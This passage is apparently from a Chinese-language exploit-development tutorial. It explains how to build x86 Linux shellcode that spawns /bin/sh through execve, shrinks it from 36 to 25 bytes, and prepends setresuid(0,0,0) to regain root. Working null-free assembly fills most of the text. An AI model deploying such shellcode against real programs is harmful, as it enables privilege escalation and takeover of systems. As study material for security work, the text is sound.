學會做系統呼叫、避開 null 位元組後,各種 shellcode 都能構造了。要生成 shell,只需做系統呼叫執行 /bin/sh

execve() 系統呼叫#

系統呼叫 11 號 execve() 類似前幾章用過的 C execute()

int execve(const char *filename, char *const argv[], char *const envp[]);
  • filename:指向要執行的字串 "/bin/sh"
  • argv:引數陣列,必須 null 終止,且須含字串指標(第 0 個引數是程式名稱)。
  • envp:環境陣列,可空但仍須以 32 位元 null 指標終止。

用 lea 在記憶體中建構引數#

要在組合語言中做這件事,引數與環境陣列得在記憶體中建好,"/bin/sh" 字串也要 null 終止。

jmp short two
one:
  pop ebx           ; ebx 得到字串位址
  xor eax, eax
  mov [ebx+7], al   ; null 終止 /bin/sh 字串
  mov [ebx+8], ebx  ; 把字串位址放到 AAAA 處
  mov [ebx+12], eax ; 32 位元 null 終止符放到 BBBB 處
  lea ecx, [ebx+8]  ; argv 指標載入 ecx
  lea edx, [ebx+12] ; envp 指標載入 edx
  mov al, 11        ; syscall #11
  int 0x80
two:
  call one
  db '/bin/shXAAAABBBB'  ; XAAAABBBB 位元組其實不需要

越小越好#

shellcode 需被注入程式記憶體某處,越小的 shellcode 越能用在緩衝區更緊的情境。上面移除視覺輔助的 XAAAABBBB 後是 36 位元組。

用 push 建構(25 位元組)#

重新設計、更有效率地用暫存器可再縮小。ESP 是堆疊指標;push 時 ESP 上移(減 4)、值放到堆疊頂。用 push 直接在堆疊上建構結構:

; execve("/bin//sh", ["/bin//sh", NULL], [NULL])
xor eax, eax      ; 清零 eax
push eax          ; push null 作字串終止
push 0x68732f2f   ; push "//sh"
push 0x6e69622f   ; push "/bin"
mov ebx, esp      ; "/bin//sh" 位址放進 ebx
push eax          ; push 32 位元 null 終止符
mov edx, esp      ; envp 空陣列
push ebx          ; push 字串位址
mov ecx, esp      ; argv 陣列
mov al, 11        ; syscall #11
int 0x80

在堆疊上建 null 終止字串 "/bin//sh",多出的斜線不影響、實際上被忽略。結果只有 25 位元組(相較 jmp/call 法的 36 位元組)。

權限問題#

為緩解權限提升,有些特權程序在做不需高權限的事時會降低有效權限,用 seteuid() 設定有效使用者 ID。

用 setresuid() 恢復權限#

所幸可在 shellcode 開頭系統呼叫恢復 root 權限。最完整的方式是 setresuid()(syscall 164),同時設定真實、有效、已存的使用者 ID:

; setresuid(0, 0, 0) 恢復所有 root 權限
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
mov al, 0xa4      ; syscall #164
int 0x80
; 接著才 execve 生成 shell

這樣一來,即使程式在降權狀態下被利用,shellcode 也能先把權限恢復成 root,再生成 shell。

再更小一點#

兩個省位元組的技巧:cdq 與 push/pop

cdq(convert doubleword to quadword) 是單位元組指令:它從 EAX 取來源、把符號位元延伸到 EDX:EAX。若 EAX 的符號位元是 0,cdq 就把 EDX 清零:

31 D2   xor edx,edx   ; 兩位元組
99      cdq           ; 一位元組(若 eax 已清零)

用堆疊清零暫存器:堆疊是 32 位元對齊的,push 單位元組值會對齊成 doubleword,pop 出來時符號延伸填滿整個暫存器:

31 C0 B0 0B   xor eax,eax / mov al,0xb   ; 四位元組
6A 0B 58      push byte +0xb / pop eax   ; 三位元組

這些技巧組譯出的正是前幾章使用的那段 shellcode。push 單位元組需宣告大小:BYTE(1)、WORD(2)、DWORD(4),這些常可由暫存器寬度隱含(mov al 隱含 BYTE)。